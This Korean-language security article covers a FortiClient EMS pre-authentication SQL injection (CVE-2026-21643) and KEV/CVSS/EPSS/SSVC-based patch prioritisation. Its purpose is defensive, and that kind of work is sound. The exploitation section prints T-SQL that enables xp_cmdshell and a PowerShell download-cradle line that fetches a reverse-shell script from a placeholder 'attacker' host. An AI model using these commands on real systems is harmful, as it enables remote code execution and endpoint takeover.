FortiClient EMS SQL 인젝션과 KEV 기반 취약점 우선순위 운영

FortiClient EMS SQL 인젝션 취약점과 CISA KEV, CVSS·EPSS·SSVC·SBOM을 결합한 엔터프라이즈 취약점 우선순위 관리 방안을 다룬다.

2026-08-14 · 최초 발행 2026-04-29

인증 없이 시작되는 FortiClient EMS 공격 경로

CISA는 2026년 4월 13일 CVE-2026-21643(Fortinet FortiClient EMS SQL 인젝션)을 포함한 6개 보안 결함을 Known Exploited Vulnerabilities(KEV) 카탈로그에 추가했다. 연방 기관에는 4월 16일까지 패치가 의무화됐다.

이 취약점은 단일 HTTPS 요청으로 인증 절차를 거치지 않고 데이터베이스에 임의 SQL을 실행할 수 있다. 이후 xp_cmdshell 체인을 이용하면 원격 코드 실행으로 범위가 넓어진다. CVSS 9.8의 치명도도 중요하지만, 실제 대응 순서는 KEV 등재 여부와 EPSS·SSVC 같은 운영 신호를 함께 봐야 정할 수 있다.

CVE-2026-21643은 Fortinet FortiClient EMS(Endpoint Management Server) 7.4.4에서 발견된 사전 인증(Pre-Authentication) SQL 인젝션 취약점이다. 인증되지 않은 요청 하나로 임의 SQL 실행이 가능해 CVSS 9.8(Critical)을 받았다.

항목 내용
CVE CVE-2026-21643
CVSS 9.8 (Critical)
영향 버전 FortiClient EMS 7.4.4 (멀티테넌트 모드)
안전 버전 7.4.5+, 8.0, 7.2
공격 진입점 /api/v1/init_consts 엔드포인트, Site HTTP 헤더
KEV 등재 2026년 4월 13일
연방 기관 패치 기한 2026년 4월 16일 (BOD 22-01)

문제는 7.4.4에서 데이터베이스 연결 계층이 파라미터화 쿼리(Parameterized Query)에서 원시 문자열 접합(String Interpolation)으로 바뀌며 기존 멀티테넌트 안전 메커니즘이 무력화된 데 있다. 단일 사이트 배포 환경은 영향을 받지 않는다.

SQL 실행이 OS 명령 실행으로 이어지는 방식

FortiClient EMS에서의 악용은 SQL 인젝션으로 끝나지 않는다. 데이터베이스 유형과 권한을 확인한 뒤 sysadmin 권한을 확보하고, xp_cmdshell을 활성화해 운영체제 명령을 실행하는 체인으로 진행될 수 있다.

(1) SQL 인젝션 탐지(2) DB 유형 권한 파악(3) sysadmin 권한 획득 시도(4) xp_cmdshell 활성화(5) OS 명령 실행 확인(6) PowerShell 리버스배포(7) 지속성 확보 계정 생성(8) 관리 엔드포인트 자격증명탈취(9) 네트워크 전체 엔드포인트제어 권한 획득

xp_cmdshell을 활성화하고 명령 실행을 확인하는 단계는 다음과 같다.

-- (1) 고급 옵션 활성화
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- (2) xp_cmdshell 활성화
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- (3) OS 명령 실행 확인
EXEC xp_cmdshell 'whoami';

-- (4) 역방향 셸 연결 (PowerShell)
EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker/rev.ps1'')"';

xp_cmdshell은 SQL Server 2000 이후 기본적으로 비활성화되어 있지만, sysadmin 권한을 획득하면 다시 활성화할 수 있다. FortiClient EMS는 관리 엔드포인트 목록, 보안 정책, 인증서 정보를 DB에 보관한다. 공격이 성공하면 네트워크 전체의 엔드포인트 제어 권한 획득으로 이어질 수 있다.

문자열 접합 방식과 파라미터화 쿼리의 차이는 다음 코드처럼 드러난다.

# 취약한 코드 (문자열 접합 방식)
site_name = request.headers.get('Site')
query = "SELECT * FROM sites WHERE name = '" + site_name + "'"

# 안전한 코드 (파라미터화 쿼리)
query = "SELECT * FROM sites WHERE name = %s"
cursor.execute(query, (site_name,))

KEV가 보여 주는 실제 악용 신호

CISA KEV(Known Exploited Vulnerabilities) 카탈로그는 실제 야생에서 악용된 사실이 확인된 취약점만 수록하는 공식 목록이다. CVSS가 이론적 심각도를 나타낸다면 KEV는 실제 위협 환경의 증거를 반영한다.

기준 CVSS CISA KEV
평가 기반 이론적 심각도 점수 실제 야생 악용 증거
점수 체계 0-10 수치 등재/미등재 이진
업데이트 주기 CVE 발행 시 고정 실시간 (야생 악용 확인 시)
연방 기관 의무화 없음 BOD 22-01에 의한 패치 기한 부여
민간 기업 적용 권고 없음 강력 권고 (임의 채택)

KEV에 오르려면 공식 CVE ID, 야생 악용을 뒷받침하는 구체적 증거, 명확한 완화 지침이 모두 필요하다.

KEV는 CVSS High/Critical에만 한정되지 않는다. CVSS 4.3(Medium)의 CVE-2026-32202도 실제 악용이 확인되면 등재될 수 있다. 반대로 CVSS 9.0이라도 실제 악용 사례가 없다면 KEV에는 포함되지 않는다.

2026년 4월의 KEV 업데이트는 다음과 같다.

날짜 추가 항목 수 주요 취약점
4월 13일 7개 CVE-2026-21643 (FortiClient EMS) 포함
4월 20일 8개 Cisco SD-WAN, PaperCut, TeamCity
4월 22일 1개 추가 취약점 1건
4월 24일 4개 Samsung MagicINFO, D-Link DIR-823X

CVSS·KEV·SSVC·EPSS를 함께 쓰는 우선순위 판단

대규모 취약점 관리에서는 한 가지 점수만으로 패치 순서를 정하기 어렵다. CVSS, KEV, SSVC, EPSS는 각각 다른 판단 근거를 제공한다.

행동 지침을 출력하는 SSVC

SSVC(Stakeholder-Specific Vulnerability Categorization)는 CERT/SEI가 개발하고 CISA가 채택한 의사결정 트리 기반 프레임워크다. 숫자 점수 대신 행동 지침을 내놓으며, 조직 맥락과 이해관계자 역할에 따라 결과가 달라진다.

판단에는 악용 상태(없음 / PoC 공개 / 야생 악용 중), 자동화 가능성(Automatable), 기술적 영향(부분적 / 전체적 통제권 상실), 조직별 임무 중요도가 들어간다.

출력 행동 지침
Track 정기 패치 주기에 패치
Track* 정기 주기보다 앞당겨 패치
Attend 신속히 검토 후 패치 (수일 이내)
Act 즉시 패치 (비상 대응, 24시간 이내)

악용 가능성을 다루는 EPSS

EPSS(Exploit Prediction Scoring System)는 향후 30일 내 실제 악용 가능성을 0-1 확률로 제공한다. CVSS와 달리 새로운 위협 정보를 반영해 동적으로 업데이트된다.

운영에서는 CVSS 7.0 이상 취약점 가운데 EPSS 상위 10% 항목에 집중할 수 있다. KEV 등재와 EPSS 고위험이 겹치면 즉시 대응하고, CVSS High이면서 EPSS가 낮으면 정기 패치 주기를 적용한다. 신규 CVE가 나온 뒤 EPSS 점수의 상승 추이도 모니터링 대상이다.

YesNoYesNoYesNoYesNo신규 취약점 발견KEV 등재?즉시 대응 (Act)CVSS 점수 확인CVSS 9.0 이상?EPSS 점수 확인CVSS 7.0 이상?Track: 정기 패치EPSS 상위 10%?SSVC 분석 수행Track Star: 조기 패치우선 패치 실행
프레임워크 역할 한계
CVSS 이론적 심각도 기준선 제공 악용 가능성·실제 위협 미반영
EPSS 악용 가능성 예측 (동적) 조직 맥락 미반영
SSVC 이해관계자별 행동 지침 도입 복잡성
KEV 실제 악용 증거 기반 등재 지연 가능성

EMS 관리 경계를 방어하는 운영 통제

FortiClient EMS 같은 VPN·엔드포인트 관리 솔루션은 네트워크 경계에 있으며 광범위한 접근 권한을 가진다. 따라서 패치 외에도 별도의 방어 레이어가 필요하다.

패치 전에는 /api/v1/init_consts 응답으로 멀티테넌트 모드 여부를 확인하고, 7.4.4인지 확인한다. 7.4.4은 영향을 받지만 단일 사이트 배포는 영향이 없다. EMS 관리 인터페이스는 신뢰할 수 있는 내부 IP 대역으로 접근을 제한하고, 필요하지 않다면 멀티테넌트 모드를 즉시 단일 사이트 모드로 전환한다.

데이터베이스에서는 xp_cmdshell을 영구 비활성화하고 활성화 시도에 대한 알림을 설정한다. 서비스 계정은 sysadmin 대신 db_datareader/db_datawriter 권한을 사용하며, 저장 프로시저 실행 권한은 화이트리스트로 관리한다. DB 감사 로그를 활성화해 SIEM과 연동하는 것도 방어 레이어에 포함된다.

WAF(Web Application Firewall) 정책에서는 OWASP ModSecurity CRS를 적용한 SQL 인젝션 패턴 필터링, Site와 X-Forwarded-For 등을 포함한 HTTP 헤더 특수 문자 검증, API 엔드포인트별 요청 속도 제한(Rate Limiting)을 적용한다.

SBOM에서 패치 티켓까지 연결하는 자동화

대규모 조직에서는 취약점 우선순위 판단을 수동으로 처리하기 어렵다. SBOM(Software Bill of Materials)을 중심에 둔 자동화 파이프라인으로 자산 정보와 취약점 정보를 연결해야 한다.

CISA 2025 기준의 SBOM 최소 구성 요소는 다음과 같다.

요소 설명 취약점 매핑 활용
공급업체명 소프트웨어 제조사 벤더 보안 권고 연동
구성요소명 라이브러리·패키지명 CVE DB 검색 키
버전 정보 정확한 버전 문자열 영향 버전 판단
PURL/CPE 고유 식별자 NVD·KEV 자동 교차 참조
의존성 관계 구성요소 간 관계 전이 취약점 추적

자동화 흐름은 SBOM을 만들고, 취약점 데이터베이스와 교차 참조하며, 자산 노출과 패치 업무까지 연결하는 구조로 설계할 수 있다.

(1) SBOM 생성 → CI/CD 파이프라인 (Syft, SPDX 표준)
(2) 취약점 매핑 → SBOM ↔ NVD/KEV/CVE DB 자동 교차 참조
(3) VEX 통합 → 벤더 제공 악용 가능성 컨텍스트 수신
(4) 복합 점수 계산 → CVSS × EPSS 가중 평균 우선순위 산출
(5) 자산 인벤토리 연동 → 실제 노출 면(Exposure) 계산
(6) 자동 티켓 발행 → Jira/ServiceNow 우선순위별 자동 생성
(7) 대시보드 현황 → 패치 진행률 및 SLA 준수 여부 실시간 표시

복합 점수 산정은 다음과 같이 구성할 수 있다.

위험 점수 = (CVSS × 0.4) + (EPSS × 100 × 0.4) + (KEV 등재 × 100 × 0.2)

예시:
CVE-2026-21643: (9.8 × 0.4) + (0.97 × 100 × 0.4) + (1 × 100 × 0.2)
             = 3.92 + 38.8 + 20 = 62.72 → 최우선 패치

CVE-2026-21643은 CVSS 9.8이라는 점수뿐 아니라 KEV 등재와 단기 패치 의무화로 실제 대응 속도가 결정된 사례다. CVSS·EPSS·SSVC·KEV를 계층적으로 결합하면 수천 개의 취약점 가운데 실제 위협이 되는 항목에 패치 자원을 집중할 수 있다. 파라미터화 쿼리 강제, xp_cmdshell 비활성화, 네트워크 접근 제한은 SQL 인젝션에서 OS 명령 실행으로 이어지는 공격 체인을 막는 방어 레이어다. SBOM 기반 자동화는 자산 인벤토리와 취약점 데이터베이스를 실시간으로 연결해 패치 의사결정의 정확성과 속도를 높인다.

Sources

FortiClient EMS취약점 관리CISA KEVSQL 인젝션SBOM